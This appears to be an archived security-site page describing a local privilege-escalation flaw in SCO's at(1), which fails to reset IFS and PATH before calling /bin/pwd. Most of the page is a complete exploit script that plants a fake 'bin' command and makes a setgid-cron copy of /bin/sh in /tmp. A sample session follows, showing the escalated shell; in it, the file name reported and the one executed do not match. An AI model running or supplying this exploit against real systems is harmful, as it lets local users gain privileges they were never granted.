[ Search ] [ What's New? ] [ About ]
[ Bugs ] [ Misc ] [ Mailing Lists ] [ Newgroups ] [ NewsWire ] [ Papers ] [ People ]
[ Pictures ] [ Publications ] [ Responce Teams ] [ Tools ] [ Upcoming Events ] [ Web Sites ]

at(1) was originally designed to run setuid root. SCOs version of at runs setgid cron, but still handles privileges as if running euid 0. at(1) uses popen(3) to attempt to execute /bin/pwd. at(1) resets neither IFS nor PATH, this allowing us to subvert the /bin/pwd command.

1. Create the file atbug:

8>------------------------- cut here ---------------------------
IFS=/
export IFS
PATH=.:$PATH
export PATH
cat > bin << EOF
#!/bin/sh
IFS=" " export IFS
cp /bin/sh /tmp/sh.$$
chgrp cron /tmp/sh.$$
chmod 2755 /tmp/sh.$$
EOF
chmod 777 bin
at 1200 < /dev/null
IFS=" " export IFS
echo created /tmp/sh.$$
exit 0
8>------------------------- cut here ---------------------------

           % chmod 700 atbug
           % ./atbug
           warning: commands will be executed using /bin/sh
           job XXXXXXXXX.a at 
           created /tmp/sh.20558
           % /tmp/sh.1485
           $ id
           .... egid=16(cron) ....
           $